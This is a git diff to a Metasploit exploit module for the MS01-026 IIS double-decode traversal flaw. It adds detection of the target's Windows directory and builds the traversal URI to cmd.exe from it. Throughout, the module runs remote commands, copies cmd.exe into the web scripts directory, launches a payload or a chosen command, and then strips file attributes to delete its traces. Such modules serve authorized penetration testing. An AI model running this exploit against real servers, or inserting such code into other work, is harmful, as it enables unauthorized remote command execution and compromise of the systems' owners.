diff --git a/modules/exploits/windows/iis/ms01_026_dbldecode.rb b/modules/exploits/windows/iis/ms01_026_dbldecode.rb
index f05ed5eefd..d78ded0ec5 100644
--- a/modules/exploits/windows/iis/ms01_026_dbldecode.rb
+++ b/modules/exploits/windows/iis/ms01_026_dbldecode.rb
@@ -53,6 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
 			[
 				Opt::RPORT(80),
 				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
+				OptString.new('WINDIR', [ false, 'The windows directory of the target host', nil ]),
 				OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
 			], self.class)
 
@@ -105,14 +106,27 @@ class Metasploit3 < Msf::Exploit::Remote
 		[headers, body]
 	end
 
+	
+	def detect_windows_dir()
+		win_dirs = [ 'winnt', 'windows' ]
+		win_dirs.each { |dir|
+
+			res = execute_command("dir", { :windir => dir })
+			if (res.kind_of?(Array))
+				body = res[1]
+				if (body and body =~ /Directory of /)
+					return dir
+				end
+			end
+		}
+		return nil
+	end
+
 
 	def check
-		res = execute_command("dir")
-		if (res.kind_of?(Array))
-			body = res[1]
-			if (body and body =~ /Directory of /)
-				return Exploit::CheckCode::Vulnerable
-			end
+		@win_dir = detect_windows_dir()
+		if @win_dir
+			return Exploit::CheckCode::Vulnerable
 		end
 
 		Exploit::CheckCode::Safe
@@ -129,14 +143,15 @@ class Metasploit3 < Msf::Exploit::Remote
 		# Using the "start" method doesn't seem to make iis very happy :(
 		return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
 
-		print_status("Executing command: #{cmd}")
+		print_status("Executing command: #{cmd} (options: #{opts.inspect})")
 
 		uri = '/scripts/'
 		exe = opts[:cgifname]
 		if (not exe)
 			uri << dotdotslash
 			uri << dotdotslash
-			uri << 'winnt/system32/cmd.exe'
+			uri << (opts[:windir] || @win_dir)
+			uri << '/system32/cmd.exe'
 		else
 			uri << exe
 		end
@@ -156,12 +171,22 @@ class Metasploit3 < Msf::Exploit::Remote
 
 	def exploit
 
-		# first copy the file
+		@win_dir = datastore['WINDIR']
+		if not @win_dir
+			# try to detect the windows directory
+			@win_dir = detect_windows_dir()
+			if not @win_dir
+				raise RuntimeError, "Unable to detect the target host windows directory (maybe not vulnerable)!"
+			end
+		end
+		print_status("Using windows directory \"#{@win_dir}\"")
+
+		# now copy the file
 		exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
 		print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
 		# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
-		# However, it using %SystemRoot% doesn't seem to work :(
-		res = execute_command("copy \\winnt\\system32\\cmd.exe #{exe_fname}")
+		# Unfortunately, using %SystemRoot% doesn't seem to work :(
+		res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{exe_fname}")
 
 		if (datastore['CMD'])
 			res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
@@ -220,7 +245,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload
 
 		print_status("Changing permissions on #{delete_me_too} ...")
-		cmd = "C:\\winnt\\system32\\attrib.exe -r -h -s " + delete_me_too
+		cmd = "C:\\#{@win_dir}\\system32\\attrib.exe -r -h -s " + delete_me_too
 		client.sys.process.execute(cmd, nil, {'Hidden' => true })
 
 		print_status("Deleting #{delete_me_too} ...")